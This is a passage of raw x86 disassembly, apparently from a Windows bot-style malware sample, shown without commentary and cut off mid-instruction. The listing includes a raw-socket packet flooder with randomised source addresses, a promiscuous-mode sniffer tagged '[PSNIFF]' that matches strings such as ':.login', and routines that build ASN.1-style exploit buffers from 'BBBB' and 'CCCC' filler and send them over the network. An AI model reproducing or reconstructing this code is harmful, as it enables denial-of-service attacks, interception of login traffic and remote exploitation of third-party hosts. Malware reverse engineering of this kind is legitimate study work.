--------------------------------------------------------------------------- loc_401E39: ; CODE XREF: sub_401BD7+233j push [ebp+var_240] call sub_408A5D pop ecx push eax call dword_44CD18 ; inet_addr mov [ebp+var_20], eax loc_401E4F: ; CODE XREF: sub_401BD7+260j mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_401E6D call sub_41386E cdq mov ecx, 401h idiv ecx push edx jmp short loc_401E73 ; --------------------------------------------------------------------------- loc_401E6D: ; CODE XREF: sub_401BD7+284j push [ebp+var_B8] loc_401E73: ; CODE XREF: sub_401BD7+294j call dword_44CCDC ; ntohs mov [ebp+var_16], ax call sub_41386E cdq mov ecx, 401h idiv ecx push edx call dword_44CCDC ; ntohs push 12345678h mov [ebp+var_18], ax call dword_44CCD8 ; ntohl mov [ebp+var_14], eax lea eax, [ebp+var_1BC] push offset off_42137C push eax call sub_413DE0 pop ecx test eax, eax pop ecx jz short loc_401EC3 mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_401F1F ; --------------------------------------------------------------------------- loc_401EC3: ; CODE XREF: sub_401BD7+2E1j lea eax, [ebp+var_1BC] push offset off_421378 push eax call sub_413DE0 pop ecx test eax, eax pop ecx jz short loc_401EE3 mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_401F1F ; --------------------------------------------------------------------------- loc_401EE3: ; CODE XREF: sub_401BD7+301j lea eax, [ebp+var_1BC] push offset aRandom ; "random" push eax call sub_413DE0 pop ecx test eax, eax pop ecx jz short loc_401F1F call sub_41386E push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_41386E push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_401F1F: ; CODE XREF: sub_401BD7+2EAj ; sub_401BD7+30Aj ... push 200h mov [ebp+var_C], 50h call dword_44CCDC ; ntohs mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+var_64], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call dword_44CCDC ; ntohs mov [ebp+var_5A], ax lea eax, [ebp+var_64] push 20h push eax lea eax, [ebp+var_A0] push eax call sub_4138F0 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_80] push eax call sub_4138F0 lea eax, [ebp+var_A0] push 34h push eax call sub_408AB6 mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_4138F0 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_8C] push eax call sub_4138F0 push 4 lea eax, [ebp+var_78] push ebx push eax call sub_413890 add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_408AB6 mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_4138F0 add esp, 14h lea eax, [ebp+var_44] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_44CD3C ; sendto cmp eax, 0FFFFFFFFh jz short loc_40200C inc [ebp+arg_0] jmp loc_401DC6 ; --------------------------------------------------------------------------- loc_40200C: ; CODE XREF: sub_401BD7+42Bj push [ebp+var_4] call dword_44CD70 ; closesocket call dword_44CC78 ; WSAGetLastError push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset unk_421310 lea eax, [ebp+var_340] push 0FFh push eax call sub_413D8A add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_40206A push ebx lea eax, [ebp+var_340] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40B2B5 add esp, 14h loc_40206A: ; CODE XREF: sub_401BD7+46Ej lea eax, [ebp+var_340] push eax call sub_409833 push [ebp+var_BC] call sub_4135DA pop ecx pop ecx push ebx call ds:off_41F040 loc_40208A: ; CODE XREF: sub_401BD7+203j push [ebp+var_4] call dword_44CD70 ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+var_1BC] push eax lea eax, [ebp+var_340] push offset unk_4212B0 push eax call sub_413812 add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_4020FB push ebx lea eax, [ebp+var_340] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40B2B5 add esp, 14h loc_4020FB: ; CODE XREF: sub_401BD7+4FFj lea eax, [ebp+var_340] push eax call sub_409833 push [ebp+var_BC] call sub_4135DA pop ecx pop ecx push ebx call ds:off_41F040 sub_401BD7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40211B proc near ; DATA XREF: sub_40CC09+1B64o var_101B4 = byte ptr -101B4h var_101AB = byte ptr -101ABh var_101A8 = dword ptr -101A8h var_101A0 = dword ptr -101A0h var_10193 = byte ptr -10193h var_1018C = byte ptr -1018Ch var_1B4 = byte ptr -1B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_A0 = dword ptr 0A8h push ebp mov ebp, esp loc_40211E: ; DATA XREF: .data:off_42D554o mov eax, 101B4h call sub_413E60 mov edx, [ebp+arg_0] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp+var_B4] pop ecx mov [ebp+var_8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h lea eax, [ebp+var_1C] push esi push eax call sub_413890 add esp, 0Ch mov [ebp+var_1C], 2 push esi call dword_44CCDC ; ntohs push [ebp+var_B4] mov [ebp+var_1A], ax call sub_408A5D pop ecx push eax call dword_44CD18 ; inet_addr push esi push 3 push 2 mov [ebp+var_18], eax call dword_44CD58 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_4021F0 call dword_44CC78 ; WSAGetLastError push eax lea eax, [ebp+var_1B4] push offset unk_421DDC push eax call sub_413812 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_4021D3 push esi lea eax, [ebp+var_1B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40B2B5 add esp, 14h loc_4021D3: ; CODE XREF: sub_40211B+96j lea eax, [ebp+var_1B4] push eax call sub_409833 push [ebp+var_30] call sub_4135DA pop ecx pop ecx push esi call ds:off_41F040 loc_4021F0: ; CODE XREF: sub_40211B+76j mov eax, [ebp+var_30] push 10h imul eax, 134h mov dword_452134[eax], edi lea eax, [ebp+var_1C] push eax push edi call dword_44CD08 ; bind cmp eax, 0FFFFFFFFh jnz short loc_402275 call dword_44CC78 ; WSAGetLastError push eax lea eax, [ebp+var_1B4] push offset unk_421D98 push eax call sub_413812 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402251 push esi lea eax, [ebp+var_1B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40B2B5 add esp, 14h loc_402251: ; CODE XREF: sub_40211B+114j lea eax, [ebp+var_1B4] push eax call sub_409833 pop ecx push edi call dword_44CD70 ; closesocket push [ebp+var_30] call sub_4135DA pop ecx push esi call ds:off_41F040 loc_402275: ; CODE XREF: sub_40211B+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call dword_44CC8C ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_4022F8 call dword_44CC78 ; WSAGetLastError push eax lea eax, [ebp+var_1B4] push offset unk_421D50 push eax call sub_413812 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_4022D4 push esi lea eax, [ebp+var_1B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40B2B5 add esp, 14h loc_4022D4: ; CODE XREF: sub_40211B+197j lea eax, [ebp+var_1B4] push eax call sub_409833 pop ecx push edi call dword_44CD70 ; closesocket push [ebp+var_30] call sub_4135DA pop ecx push esi call ds:off_41F040 loc_4022F8: ; CODE XREF: sub_40211B+177j push ebx mov ebx, offset a_login ; ":.login" loc_4022FE: ; CODE XREF: sub_40211B+21Bj ; sub_40211B+22Dj ... mov edi, 0FFFFh lea eax, [ebp+var_101B4] push edi push esi push eax call sub_413890 add esp, 0Ch lea eax, [ebp+var_101B4] push esi push edi push eax push [ebp+var_4] call dword_44CCF4 ; recv cmp eax, 0FFFFFFFFh jz loc_402410 cmp [ebp+var_101AB], 6 jnz short loc_4022FE mov eax, [ebp+var_101A8] cmp [ebp+var_10193], 18h mov [ebp+var_C], eax jnz short loc_4022FE lea eax, [ebp+var_1018C] push offset aPsniff ; "[PSNIFF]" push eax call sub_413DE0 pop ecx test eax, eax pop ecx jnz short loc_4022FE mov eax, ebx xor edi, edi test eax, eax jz short loc_4022FE mov [ebp+arg_0], ebx loc_40236C: ; CODE XREF: sub_40211B+26Cj push eax lea eax, [ebp+var_1018C] push eax call sub_413DE0 pop ecx test eax, eax pop ecx jnz short loc_40238E inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_40236C jmp loc_4022FE ; --------------------------------------------------------------------------- loc_40238E: ; CODE XREF: sub_40211B+262j lea eax, [ebp+var_1018C] push eax push [ebp+var_101A0] call dword_44CC28 ; ntohs movzx eax, ax push eax push [ebp+var_C] call dword_44CD64 ; inet_ntoa push eax lea eax, [edi+edi*2] mov eax, dword_421464[eax*8] push off_421440[eax*4] lea eax, [ebp+var_1B4] push offset unk_421D00 push 0FFh push eax call sub_413D8A add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_4023FE push esi lea eax, [ebp+var_1B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40B2B5 add esp, 14h loc_4023FE: ; CODE XREF: sub_40211B+2C1j lea eax, [ebp+var_1B4] push eax call sub_409833 pop ecx jmp loc_4022FE ; --------------------------------------------------------------------------- loc_402410: ; CODE XREF: sub_40211B+20Ej call dword_44CC78 ; WSAGetLastError push eax push offset unk_421CBC lea eax, [ebp+var_1B4] push 0FFh push eax call sub_413D8A add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_402456 push esi lea eax, [ebp+var_1B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40B2B5 add esp, 14h loc_402456: ; CODE XREF: sub_40211B+319j lea eax, [ebp+var_1B4] push eax call sub_409833 pop ecx push [ebp+var_4] call dword_44CD70 ; closesocket push [ebp+var_30] call sub_4135DA pop ecx push esi call ds:off_41F040 push ebx push esi push edi lea esi, [esp+8+arg_0] sub esp, 0BCh mov [esp+0C4h+arg_A0], 8Bh push 2Fh pop ecx mov edi, esp rep movsd call sub_402F48 push 2Fh lea esi, [esp+0C8h+arg_0] pop ecx mov [esp+0C4h+arg_A0], 1BDh mov edi, esp mov ebx, eax rep movsd call sub_402F48 add esp, 0BCh test ebx, ebx jnz short loc_4024CE test eax, eax jz short loc_4024D1 loc_4024CE: ; CODE XREF: sub_40211B+3ADj push 1 pop eax loc_4024D1: ; CODE XREF: sub_40211B+3B1j pop edi pop esi pop ebx retn sub_40211B endp ; =============== S U B R O U T I N E ======================================= sub_4024D5 proc near ; CODE XREF: sub_402749+Ep ; sub_402749+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_4024D5 endp ; =============== S U B R O U T I N E ======================================= sub_4024DF proc near ; CODE XREF: sub_402749+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_413F0B mov edi, eax pop ecx test edi, edi jz short loc_402511 push ebx push 0 push edi call sub_413890 push ebx push [esp+1Ch+arg_0] push edi call sub_4138F0 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_402511: ; CODE XREF: sub_4024DF+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_4024DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402519 proc near ; CODE XREF: sub_402613+18p ; sub_40268D+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_413F0B mov esi, eax pop ecx test esi, esi jz short loc_402565 push edi push 0 push esi call sub_413890 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_4138F0 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_4138F0 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_402565: ; CODE XREF: sub_402519+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_402519 endp ; =============== S U B R O U T I N E ======================================= sub_40256E proc near ; CODE XREF: sub_402613+5Ep ; sub_402613+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40257E push eax call sub_413F7F pop ecx loc_40257E: ; CODE XREF: sub_40256E+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40256E endp ; =============== S U B R O U T I N E ======================================= sub_402587 proc near ; CODE XREF: sub_402613+20p ; sub_4026EE+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_4025B4 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_413F0B mov edi, eax pop ecx test edi, edi jnz short loc_4025B8 loc_4025B4: ; CODE XREF: sub_402587+Dj xor al, al jmp short loc_40260F ; --------------------------------------------------------------------------- loc_4025B8: ; CODE XREF: sub_402587+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_413890 add esp, 0Ch cmp ebx, 1 jnz short loc_4025DD mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_4025F7 ; --------------------------------------------------------------------------- loc_4025DD: ; CODE XREF: sub_402587+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_4025F7: ; CODE XREF: sub_402587+54j push eax call sub_4138F0 add esp, 0Ch push dword ptr [esi] call sub_413F7F add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40260F: ; CODE XREF: sub_402587+2Fj pop edi pop esi pop ebx retn sub_402587 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402613 proc near ; CODE XREF: sub_402749+89p ; sub_402749+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_438A0C call sub_402519 lea ecx, [ebp+var_8] call sub_402587 mov eax, [ebp+var_4] inc eax push eax call sub_413F0B mov edi, eax pop ecx test edi, edi jnz short loc_40264D xor al, al jmp short loc_402689 ; --------------------------------------------------------------------------- loc_40264D: ; CODE XREF: sub_402613+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_413890 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_4138F0 add esp, 18h mov ecx, esi call sub_40256E mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40256E mov al, 1 loc_402689: ; CODE XREF: sub_402613+38j pop edi pop esi leave retn sub_402613 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40268D proc near ; CODE XREF: sub_4026C1+14p ; sub_4026DE+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_402519 mov ecx, esi call sub_40256E mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40268D endp ; =============== S U B R O U T I N E ======================================= sub_4026C1 proc near ; CODE XREF: sub_402749+F0p ; sub_402749+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_413E90 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40268D pop esi retn 4 sub_4026C1 endp ; =============== S U B R O U T I N E ======================================= sub_4026DE proc near ; CODE XREF: sub_40272A+Bp ; sub_402749+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40268D retn 8 sub_4026DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4026EE proc near ; CODE XREF: sub_40272A+16p ; sub_402749+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_402587 test al, al jz short loc_402727 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_422190 call sub_402519 mov ecx, esi call sub_40256E mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_402727: ; CODE XREF: sub_4026EE+Fj pop esi leave retn sub_4026EE endp ; =============== S U B R O U T I N E ======================================= sub_40272A proc near ; CODE XREF: sub_402749+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_4026DE test al, al jz short loc_402745 mov ecx, esi call sub_4026EE loc_402745: ; CODE XREF: sub_40272A+12j pop esi retn 8 sub_40272A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402749 proc near ; CODE XREF: sub_402F48+86p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_4024D5 mov edi, 408h cmp [ebp+arg_8], edi jg loc_402A9D mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_402A9D push esi lea ecx, [ebp+var_30] call sub_4024D5 lea ecx, [ebp+var_20] call sub_4024D5 lea ecx, [ebp+var_50] call sub_4024D5 lea ecx, [ebp+var_18] call sub_4024D5 lea ecx, [ebp+var_40] call sub_4024D5 lea ecx, [ebp+var_38] call sub_4024D5 lea ecx, [ebp+var_28] call sub_4024D5 push 4 push offset dword_421E30 lea ecx, [ebp+var_30] call sub_40268D push 3 push offset dword_421E38 lea ecx, [ebp+var_30] call sub_40268D lea ecx, [ebp+var_30] call sub_402613 lea ecx, [ebp+var_30] call sub_4026EE mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_413890 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40268D push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40268D mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40268D lea ecx, [ebp+var_20] call sub_402613 push offset dword_4221B8 lea ecx, [ebp+var_50] call sub_4026C1 lea ecx, [ebp+var_50] call sub_402613 push esi lea eax, [ebp+var_858] push 44h push eax call sub_413890 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_4024DF lea ecx, [ebp+var_58] call sub_402613 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40272A lea ecx, [ebp+var_58] call sub_40256E push esi lea eax, [ebp+var_858] push 43h push eax call sub_413890 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_4026C1 push 4 push offset dword_421E3C lea ecx, [ebp+var_18] call sub_40268D push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40268D sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40268D lea ecx, [ebp+var_18] call sub_402613 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_4026DE push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_4026DE lea ecx, [ebp+var_40] call sub_4026EE lea ecx, [ebp+var_18] call sub_40256E lea ecx, [ebp+var_50] call sub_40256E push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_4026DE push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_4026DE push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_4026DE lea ecx, [ebp+var_38] call sub_4026EE lea ecx, [ebp+var_20] call sub_40256E lea ecx, [ebp+var_30] call sub_40256E lea ecx, [ebp+var_40] call sub_40256E push esi lea eax, [ebp+var_858] push 41h push eax call sub_413890 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40268D lea ecx, [ebp+var_28] call sub_402613 push 2 push offset dword_4221AC lea ecx, [ebp+var_28] call sub_40268D push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_4026DE lea ecx, [ebp+var_28] call sub_4026EE lea ecx, [ebp+var_38] call sub_40256E lea ecx, [ebp+var_10] call sub_4024D5 lea ecx, [ebp+var_8] call sub_4024D5 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_4026DE lea ecx, [ebp+var_10] call sub_402587 lea ecx, [ebp+var_28] call sub_40256E push offset dword_4221A8 lea ecx, [ebp+var_8] call sub_4026C1 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_4026DE lea ecx, [ebp+var_8] call sub_402587 lea ecx, [ebp+var_10] call sub_40256E push offset dword_4221A4 lea ecx, [ebp+var_10] call sub_4026C1 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_4026DE lea ecx, [ebp+var_10] call sub_402587 lea ecx, [ebp+var_8] call sub_40256E push offset dword_422198 lea ecx, [ebp+var_8] call sub_4026C1 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_4026DE lea ecx, [ebp+var_8] call sub_402587 lea ecx, [ebp+var_10] call sub_40256E push offset dword_422194 lea ecx, [ebp+var_48] call sub_4026C1 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_4026DE lea ecx, [ebp+var_8] call sub_40256E mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_402AAB ; --------------------------------------------------------------------------- loc_402A9D: ; CODE XREF: sub_402749+1Bj ; sub_402749+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_402AAB: ; CODE XREF: sub_402749+352j pop edi pop ebx leave retn sub_402749 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402AAF proc near ; CODE XREF: sub_402B73+A1p ; sub_402B73+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call ds:dword_41F1D4 ; select cmp eax, edi jnz short loc_402B16 lea eax, [ebp+var_10C] push eax push esi call sub_41E428 ; __WSAFDIsSet test eax, eax jnz short loc_402B1A loc_402B16: ; CODE XREF: sub_402AAF+54j xor eax, eax jmp short loc_402B2A ; --------------------------------------------------------------------------- loc_402B1A: ; CODE XREF: sub_402AAF+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_44CCF4 ; recv loc_402B2A: ; CODE XREF: sub_402AAF+69j pop edi pop esi leave retn sub_402AAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B2E proc near ; CODE XREF: sub_402B73+81p ; sub_402B73+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_44CCD8 ; ntohl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_44CD28 ; send cmp eax, 4 jz short loc_402B58 xor al, al leave retn ; --------------------------------------------------------------------------- loc_402B58: ; CODE XREF: sub_402B2E+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_44CD28 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_402B2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B73 proc near ; CODE XREF: sub_402C4D+48p ; sub_402F48+181p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_413F0B mov esi, eax pop ecx test esi, esi jnz short loc_402B9C xor al, al jmp loc_402C48 ; --------------------------------------------------------------------------- loc_402B9C: ; CODE XREF: sub_402B73+20j push ebx push 0 push esi call sub_413890 push 2Fh push offset dword_421ECC push esi call sub_4138F0 push 8 lea eax, [esi+31h] push offset dword_421EFC push eax mov [esi+2Fh], di call sub_4138F0 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_4138F0 push 6 add ebx, edi push offset dword_438A04 push ebx call sub_4138F0 mov ebx, [ebp+arg_0] push 85h push offset dword_421E44 push ebx call sub_402B2E add esp, 48h test al, al jnz short loc_402C04 loc_402C00: ; CODE XREF: sub_402B73+B5j xor bl, bl jmp short loc_402C3F ; --------------------------------------------------------------------------- loc_402C04: ; CODE XREF: sub_402B73+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_402AAF push [ebp+var_4] push esi push ebx call sub_402B2E add esp, 1Ch test al, al jz short loc_402C00 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_402AAF add esp, 10h mov bl, 1 loc_402C3F: ; CODE XREF: sub_402B73+8Fj push esi call sub_413F7F pop ecx mov al, bl loc_402C48: ; CODE XREF: sub_402B73+24j pop edi pop esi pop ebx leave retn sub_402B73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C4D proc near ; CODE XREF: sub_402F48+167p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_421F08 push [ebp+arg_0] call ds:dword_41F1D0 ; send cmp eax, 48h jnz short loc_402C88 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_402AAF add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_402C88 cmp [ebp+var_20], 82h jz short loc_402C8C loc_402C88: ; CODE XREF: sub_402C4D+1Bj ; sub_402C4D+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_402C8C: ; CODE XREF: sub_402C4D+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_402B73 add esp, 0Ch leave retn sub_402C4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C9F proc near ; CODE XREF: sub_402CEB+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul ds:dbl_41F238 call sub_4140D0 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul ds:dbl_41F230 fstp [esp+10h+var_10] call sub_413FAE fadd st, st pop ecx pop ecx fadd [ebp+var_8] call 